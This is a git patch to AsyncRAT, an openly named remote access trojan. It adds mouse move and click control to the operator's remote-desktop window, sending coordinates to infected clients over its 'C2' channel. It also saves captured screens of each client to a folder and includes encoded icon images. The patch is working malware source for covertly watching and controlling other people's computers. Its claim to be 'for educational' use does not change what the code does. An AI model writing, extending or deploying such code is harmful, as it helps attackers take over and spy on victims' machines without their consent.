From 01932464dbd6689dbd74b632c466ece900ac8b0d Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Tue, 28 May 2019 23:34:54 +0300 Subject: [PATCH] Add mouse click on remote desktop Add mouse click on remote desktop fixed save images on remote desktop --- .../AsyncRAT-Sharp/AsyncRAT-Sharp.csproj | 4 + .../Forms/FormAbout.Designer.cs | 4 +- .../Forms/FormRemoteDesktop.Designer.cs | 38 +++++-- .../AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs | 94 +++++++++++++++++- .../Handle Packet/HandleRemoteDesktop.cs | 4 + .../Properties/Resources.Designer.cs | 40 ++++++++ .../AsyncRAT-Sharp/Properties/Resources.resx | 20 +++- .../AsyncRAT-Sharp/Resources/mouse.png | Bin 0 -> 1006 bytes .../AsyncRAT-Sharp/Resources/mouse_enable.png | Bin 0 -> 1631 bytes .../AsyncRAT-Sharp/Resources/save-image.png | Bin 0 -> 1101 bytes .../AsyncRAT-Sharp/Resources/save-image2.png | Bin 0 -> 1341 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- .../Handle Packet/HandleRemoteDesktop.cs | 41 ++++++-- AsyncRAT-C#/Client/Handle Packet/Packet.cs | 4 +- AsyncRAT-C#/Client/Settings.cs | 4 +- 15 files changed, 219 insertions(+), 36 deletions(-) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse_enable.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image2.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 31231c0..d936dff 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -292,6 +292,10 @@ + + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs index 133a158..432299f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs @@ -42,7 +42,7 @@ this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; this.richTextBox1.ShortcutsEnabled = false; - this.richTextBox1.Size = new System.Drawing.Size(526, 182); + this.richTextBox1.Size = new System.Drawing.Size(557, 210); this.richTextBox1.TabIndex = 0; this.richTextBox1.Text = "\n │ Author : NYAN CAT\n │ Name : AsyncRAT © 2019\n │ C" + "ontact : github.com/NYAN-x-CAT\n\n This program is distributed for educat" + @@ -53,7 +53,7 @@ // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(526, 182); + this.ClientSize = new System.Drawing.Size(557, 210); this.Controls.Add(this.richTextBox1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs index bb97ac6..d59bb61 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs @@ -41,6 +41,7 @@ this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); this.timerSave = new System.Windows.Forms.Timer(this.components); + this.btnMouse = new System.Windows.Forms.Button(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); @@ -52,10 +53,13 @@ this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.pictureBox1.Location = new System.Drawing.Point(0, 0); this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(710, 409); + this.pictureBox1.Size = new System.Drawing.Size(1012, 674); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; + this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown); + this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseMove); + this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp); // // timer1 // @@ -65,6 +69,7 @@ // panel1 // this.panel1.BackColor = System.Drawing.Color.Transparent; + this.panel1.Controls.Add(this.btnMouse); this.panel1.Controls.Add(this.btnSave); this.panel1.Controls.Add(this.label2); this.panel1.Controls.Add(this.numericUpDown2); @@ -74,23 +79,24 @@ this.panel1.Dock = System.Windows.Forms.DockStyle.Top; this.panel1.Location = new System.Drawing.Point(0, 0); this.panel1.Name = "panel1"; - this.panel1.Size = new System.Drawing.Size(710, 38); + this.panel1.Size = new System.Drawing.Size(1012, 38); this.panel1.TabIndex = 1; // // btnSave // - this.btnSave.Location = new System.Drawing.Point(538, 3); + this.btnSave.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.save_image; + this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnSave.Location = new System.Drawing.Point(455, 3); this.btnSave.Name = "btnSave"; - this.btnSave.Size = new System.Drawing.Size(152, 29); + this.btnSave.Size = new System.Drawing.Size(32, 32); this.btnSave.TabIndex = 5; - this.btnSave.Text = "START SAVE"; this.btnSave.UseVisualStyleBackColor = true; this.btnSave.Click += new System.EventHandler(this.BtnSave_Click); // // label2 // this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(300, 9); + this.label2.Location = new System.Drawing.Point(268, 9); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(76, 20); this.label2.TabIndex = 4; @@ -105,7 +111,7 @@ 0, 0, 0}); - this.numericUpDown2.Location = new System.Drawing.Point(384, 5); + this.numericUpDown2.Location = new System.Drawing.Point(352, 5); this.numericUpDown2.Maximum = new decimal(new int[] { 0, 0, @@ -120,7 +126,7 @@ // label1 // this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(130, 9); + this.label1.Location = new System.Drawing.Point(82, 9); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(78, 20); this.label1.TabIndex = 2; @@ -135,7 +141,7 @@ 0, 0, 0}); - this.numericUpDown1.Location = new System.Drawing.Point(214, 5); + this.numericUpDown1.Location = new System.Drawing.Point(166, 5); this.numericUpDown1.Minimum = new decimal(new int[] { 20, 0, @@ -181,11 +187,22 @@ this.timerSave.Interval = 1500; this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick); // + // btnMouse + // + this.btnMouse.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.mouse; + this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnMouse.Location = new System.Drawing.Point(550, 3); + this.btnMouse.Name = "btnMouse"; + this.btnMouse.Size = new System.Drawing.Size(32, 32); + this.btnMouse.TabIndex = 3; + this.btnMouse.UseVisualStyleBackColor = true; + this.btnMouse.Click += new System.EventHandler(this.Button3_Click); + // // FormRemoteDesktop // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(710, 409); + this.ClientSize = new System.Drawing.Size(1012, 674); this.Controls.Add(this.button2); this.Controls.Add(this.panel1); this.Controls.Add(this.pictureBox1); @@ -217,5 +234,6 @@ public System.Windows.Forms.NumericUpDown numericUpDown2; private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Timer timerSave; + private System.Windows.Forms.Button btnMouse; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs index 607dc99..cede735 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs @@ -34,7 +34,8 @@ namespace AsyncRAT_Sharp.Forms public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch RenderSW = Stopwatch.StartNew(); public IUnsafeCodec decoder = new UnsafeStreamCodec(60); - + public Size rdSize; + private bool isMouse = false; private void timer1_Tick(object sender, EventArgs e) { if (!C.ClientSocket.Connected) this.Close(); @@ -106,17 +107,20 @@ namespace AsyncRAT_Sharp.Forms private void BtnSave_Click(object sender, EventArgs e) { - if (button1.Text == "STOP") + if (button1.Tag == (object)"stop") { if (timerSave.Enabled) { timerSave.Stop(); - btnSave.Text = "START SAVE"; + btnSave.BackgroundImage = Properties.Resources.save_image; } else { timerSave.Start(); - btnSave.Text = "STOP SAVE"; + btnSave.BackgroundImage = Properties.Resources.save_image2; + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID); + if (Directory.Exists(fullPath)) + Process.Start(fullPath); } } } @@ -152,5 +156,87 @@ namespace AsyncRAT_Sharp.Forms } return null; } + + private void PictureBox1_MouseDown(object sender, MouseEventArgs e) + { + try + { + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) + { + Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); + int button = 0; + if (e.Button == MouseButtons.Left) + button = 2; + if (e.Button == MouseButtons.Right) + button = 8; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "mouseClick"; + msgpack.ForcePathObject("X").AsInteger = p.X; + msgpack.ForcePathObject("Y").AsInteger = p.Y; + msgpack.ForcePathObject("Button").AsInteger = button; + ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + } + } + catch { } + } + + private void PictureBox1_MouseUp(object sender, MouseEventArgs e) + { + try + { + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) + { + Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); + int button = 0; + if (e.Button == MouseButtons.Left) + button = 4; + if (e.Button == MouseButtons.Right) + button = 16; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "mouseClick"; + msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); + msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); + msgpack.ForcePathObject("Button").AsInteger = (Int32)(button); + ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + } + } + catch { } + } + + private void PictureBox1_MouseMove(object sender, MouseEventArgs e) + { + try + { + if (pictureBox1.Image != null && this.ContainsFocus && isMouse) + { + Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "mouseMove"; + msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); + msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); + ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); + } + } + catch { } + } + + private void Button3_Click(object sender, EventArgs e) + { + if (isMouse) + { + isMouse = false; + btnMouse.BackgroundImage = Properties.Resources.mouse; + } + else + { + isMouse = true; + btnMouse.BackgroundImage = Properties.Resources.mouse_enable; + } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs index cd5d755..9eaf364 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs @@ -29,6 +29,10 @@ namespace AsyncRAT_Sharp.Handle_Packet { RD.C2 = client; RD.timer1.Start(); + byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); + RD.rdSize = decoded0.Size; + RD.Size = new Size(decoded0.Size.Width / 2, decoded0.Size.Height / 2); } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs index 9e838f6..ffd5a41 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs @@ -244,6 +244,26 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap mouse { + get { + object obj = ResourceManager.GetObject("mouse", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap mouse_enable { + get { + object obj = ResourceManager.GetObject("mouse_enable", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -314,6 +334,26 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap save_image { + get { + object obj = ResourceManager.GetObject("save-image", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap save_image2 { + get { + object obj = ResourceManager.GetObject("save-image2", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx index 5a48f04..c6d33a2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx @@ -133,6 +133,9 @@ ..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\mouse_enable.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -151,8 +154,8 @@ ..\Resources\u-torrent-logo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\coding.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -166,6 +169,9 @@ ..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -220,10 +226,16 @@ ..\Resources\logger.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\coding.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\save-image.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\save-image2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse.png new file mode 100644 index 0000000000000000000000000000000000000000..c104b0334c29c0f85d988b28a2c6fc3e52d4e031 GIT binary patch literal 1006 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&nlt@mNYWCC^w0)U?Ob#WBR=_|&WU8BzkWye_T9Ix=ikkH9(nunzV+`cpZ~Uf{-GCZehmkP3Iz(TrG-s zl{j6K|FT}yBQkrh_1x?0GUn~9`?me_JgK8Lk4|O$^pUj8pAr1&%8#hP?#RVE^sS}K zul{g7_NF6$Q?cE&i!Z-PRPXE#bl;hF+_&@Y(Q3VwW+w~RUYdAAEPWBD)Yqe{%(b*` zvFBY)uT`0~)jH?iv+~zUE!I2{$<2KS?yb=N^6mVN#Jm~%!o$}bZT9mz`9o*J^4$*~ zUOM~d)m($0ajeXntM6YHV2vkkHEY%zz9b5LfV~@`<#m%*OCmJ0BvQPNgZga2t z#c`(SEce4-yq_A^_=UwyUb!mvYHEL%M-%@6yR|{e@3h3@3=UPu$4vq9I8QRYK)(Pz=-jrZP|UtVy&_`h>qf0Mg`XaC(x(@yc8 z_q`|F`N`<)($a4;<~X`mx9jh_z3K>y_7mq~^Rth|`dIdV&TFda^2_g&t#d6uRCj;f z=_?x#UykiR7s|7hZH>(Sqq_OAv~Y9= z|Ifg7*2muMv$eP1T)pm>+cne7^2%Fx?Y4U67yV5g5-u&wghk1ysb~ M>FVdQ&MBb@04jaIaR2}S literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse_enable.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse_enable.png new file mode 100644 index 0000000000000000000000000000000000000000..6123d66584f6dbe0ed58cbd8ae0d3146a28abce8 GIT binary patch literal 1631 zcmV-l2B7(gP)8wQK~z|UwU=pdRAm;1pYN`nkd=T0A{Ca15R<|p23ZQ4aw(S) zOJ_tP$Y9|H79|+0L>7@BidZbl429r^8fS)K5EOV=vGv4&LcN<)xf@8>U%1sG!il zsrqC);n4L(LyPR5b*(k_&r{son}%ANVblXzm*6e}>N;{z4UgxW{F{ec+s|E$DPFeo zJ30QT88WqNhW*)@Mp^!2tIQiZ%x{?H0YLA7zm(v66BExSCM8=PRX%;;VwYf#%R9zD z?1s+&Q*%}(CM8?I%ntbX083&SGc`@SShD=}nBpHDs*##*I-|zDDQ~`Ku}tfhX@%RL zetC)1P4fq$_xt^T1@u*-sjIsFN=nxZ?b2KHp44>H ziPjx`2M%fmo{iw21Dpj?A=uyH5UOsh>@j?7z`N#v(vp#*OufU)?1|%?`V%z~o`REy zwyxjxqb`iC9$0%ikqfyQVFOpsCzxnb%e-P0|L8)v_-j#&CB z`wmvQ<8Hj(eSN`PT6{jzx_75bQnFKf@cqE;58N-Nl+KIxBmpT2&V&#a0oA}ep#v?< z*hSIIW&Os@R16(cPq87V&R=pz)hH229xhU)1OlT=GgX3*mc#pu<06n}a) zkKa0y`HxHpoU1$C&UfqD4-i5$w+T)H@_>>sm)^kJDuB?8w^DKj56GLgL`7VBJ{c() zWZhDvqz^1)?}m4re=L0op(sjjK_RN9VOth+COv31UHI`eUA)I-JwFZjTbru^d=G2@N)^RS zyuHV;doD{Hz)0;z{)`n$=E(b`(2c{uYT#NR8TenA>r5bxU`wLl*w>}>%e!2C02&YP zqyEc{!nOR<2=;$1a0VzQI2lI(^ML1p3jm6AT~jp^FJE0s4z75{7OK9P;JO9i2POkg z5d8gj5ZsJchr%?W>P`N}^BI?`U$^~VG*<6Lx=!Q>{shP-xTe9~LK$u3d`l`>7G!mpdD)0DrfA zKgmqO4|xDc8J%N*OHVXb zI-me8AqnZ&{9JR0`tl8aUu~74sQL%4V;2+r&b#914$Kmo{(nU?E`V@_s{0fpVL$K^ dFyKlF{Q^b{wQ076rD*^F002ovPDHLkV1k~s13Ul# literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image.png new file mode 100644 index 0000000000000000000000000000000000000000..0e39de73e22cde94a05af6da41963056ea9d2ccd GIT binary patch literal 1101 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW3F>;M179(Crih1GBWJi(`n#@uOG0b3#fbSU=pK zD|w4=nwPFFXF|4Sqm!cUG9H%=UTb|57JqDC`wv*4k!nqJH*Z{E(%=%l13!y}?@ zjKYlC8*_7d_OPT@d^xx{AD5p# zx7)&YDqHHg+Y6$$SN0v9VSKxTi!=At(cT3o_-nF zIm_YN>pEk>Nzq%Z-+AX}Zu8&n$*KSP+s5fRU)J`0NdCO$lP8buuESU4E3!TeMeP(SGdd`B-uP*(s;BQe$^+cL-XaB{(;3Yw52;-4&^oOpdwuAR z(7X*gB}oYrpUM?S>@?3Q<bsc+*?~F28NciR{fc{om<-^@{dX^{3q4b+ z+4xgz=9jt7>&|s)U0S28rmQ6&{u`)5xHZZa>Fwj~YE`XvTH$NpatrE9} z=zs6m05wR0YzWRzD=AMbN@XZ7FW1Y=%Pvk%EJ)SMFG`>N&PEETh{4m<&t;ucLK6Uw CuGaSe literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image2.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image2.png new file mode 100644 index 0000000000000000000000000000000000000000..2aeed0823ac3ec6011ed8c713b265ce0e048acc9 GIT binary patch literal 1341 zcmV-D1;YA?P)cK2%;!5nIfCi-2uf!4Fo|j0LpQG4~nAb znGm5Uijox2$z+NeKn$m&7@bsJ$q|sr<@*d7nKKU9e;`(^35n_J@w3DB>I_d)<38XW zDZIjymrxLdCBVAT&r_l(ULIXH$mH_I{U^SSTDIynJWY)p`(!V{U~t4anT*XlOE6?) zaq;Z;?B4jsP%se4l9G-jMbb*3;BTv)e`flI47JHy!Fb`i4~%j2lpx2ww~&16~x5Gp-W5x;MCzmJnriyZ{8yI9{!rt^i0W| z0w8{L>=ZNSJRcT#qZ=q>g}A_&yj63@u$;)r=^+B&JF-{x+Dy#Y0NNNXmGo@dFv0Ulp`rP zv0yd%$%c@CuEBnm{rnZ#rs-s)XK}gWA_D`DDK0K%{`~m>T)ldg($Z4eysa#lw-~?Q zM}zAg7gxSXqEZ!-_j!+6r!oBI5OhmLu$FF0Zp8moSC`Q+_{BLmw?mhWb4+g zR99D{QmH5^D#Gb>qSGZ%bLSR0Gjq|zsVVm~jLSP!6$eOY$0yyjq@<eGCNyXw+K#ejgT# zg~7o=>g(&-wQE;M8;iw)-|s`C)-n_f&_2)?)`75fAUQggD4868j}MJTi^JhSsZ`={ zI8Z1;n>rj0G@1nbJwBpja+0HC!#WT)0y04$QyouNS0~9yQ*gOlR8>`tyLnYr6)u;H zCJ8d_~Ut<4W8 zH0DI2A4x%5e=kkF-5~)h4B32K`x~`&HRR5kP35&Kn9b&pbs#!Ah6VE$Q(ISqzqf}K zhU{^9+xmL}CchF+dM{7_B